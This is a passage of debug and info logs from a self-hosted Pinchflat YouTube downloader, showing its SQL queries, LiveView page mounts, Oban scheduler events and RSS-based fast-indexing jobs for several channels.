((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:22:55.780 [debug] QUERY OK source="media_items" db=3.5ms idle=8.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:22:55.781 [debug] QUERY OK source="tasks" db=0.0ms idle=11.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:22:55.781 [info] Sent 200 in 18ms 01:22:59.397 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "ZgsTfSMxLwVkBgArDAB2MA4xDQY4Bw4F3NjKN_yI4cztobNUDs9Hi2Fo", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tubedock.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://tubedock.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 01:22:59.540 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "UEy6mnVLPez_cb8eJB4NQ5Hj", "media_state" => "downloaded"} 01:22:59.541 [debug] QUERY OK source="media_items" db=0.4ms idle=482.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:22:59.542 [debug] QUERY OK source="media_items" db=0.5ms idle=482.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:22:59.542 [debug] QUERY OK source="sources" db=0.1ms idle=483.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 01:22:59.542 [debug] Replied in 1ms 01:22:59.542 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "UEy6mnVLPez_cb8eJB4NQ5Hj", "media_state" => "pending"} 01:22:59.546 [debug] QUERY OK source="media_items" db=2.9ms idle=484.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:22:59.550 [debug] QUERY OK source="media_items" db=4.0ms idle=396.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:22:59.550 [debug] Replied in 7ms 01:22:59.550 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "UEy6mnVLPez_cb8eJB4NQ5Hj"} 01:22:59.550 [debug] QUERY OK source="tasks" db=0.0ms idle=9.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:22:59.550 [debug] Replied in 259µs 01:23:00.814 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:23:25.154 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:55.156 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.815 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:24:25.157 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:55.159 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.278 [info] {"args":{"id":3},"id":492,"meta":{},"system_time":1784856300278179986,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:25:00.278 [debug] QUERY OK source="sources" db=0.5ms idle=1219.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 01:25:00.279 [debug] QUERY OK source="settings" db=0.5ms idle=1219.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:00.280 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1009.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:25:00.281 [debug] QUERY OK source="settings" db=0.9ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:00.281 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 01:25:00.622 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:25:00.623 [debug] QUERY OK source="media_items" db=0.2ms idle=344.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:25:00.625 [debug] QUERY OK source="media_items" db=1.6ms idle=344.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 01:25:00.625 [debug] QUERY OK source="tasks" db=0.0ms idle=344.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [495, 3, ~U[2026-07-24 01:25:00Z], ~U[2026-07-24 01:25:00Z]] 01:25:00.625 [info] {"args":{"id":3},"id":492,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":347688,"event":"job:stop","queue_time":520560,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:25:00.816 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:25:25.160 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:55.162 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.816 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:26:25.163 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:55.164 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.818 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:27:25.165 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:55.166 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.819 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:28:25.168 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:55.169 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.820 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:29:25.170 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:55.171 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.820 [info] {"source":"oban","duration":89,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:30:25.172 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:45.655 [info] {"args":{"id":2},"id":493,"meta":{},"system_time":1784856645655190948,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:30:45.655 [info] {"args":{"id":1},"id":494,"meta":{},"system_time":1784856645655218499,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:30:45.655 [debug] QUERY OK source="sources" db=0.0ms idle=596.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:30:45.655 [debug] QUERY OK source="sources" db=0.0ms idle=596.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:30:45.655 [debug] QUERY OK source="settings" db=0.0ms idle=596.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:30:45.655 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:30:45.655 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:30:45.655 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:30:45.655 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:30:45.656 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 01:30:45.656 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:30:45.656 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 01:30:45.959 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:30:45.959 [debug] QUERY OK source="media_items" db=0.3ms idle=303.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:30:45.962 [debug] QUERY OK source="media_items" db=2.1ms idle=304.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 01:30:45.962 [debug] QUERY OK source="tasks" db=0.0ms idle=306.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [496, 1, ~U[2026-07-24 01:30:45Z], ~U[2026-07-24 01:30:45Z]] 01:30:45.963 [info] {"args":{"id":1},"id":494,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":307728,"event":"job:stop","queue_time":341554,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:30:46.252 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:30:46.253 [debug] QUERY OK source="media_items" db=0.2ms idle=290.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:30:46.253 [debug] QUERY OK source="media_items" db=0.2ms idle=290.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" 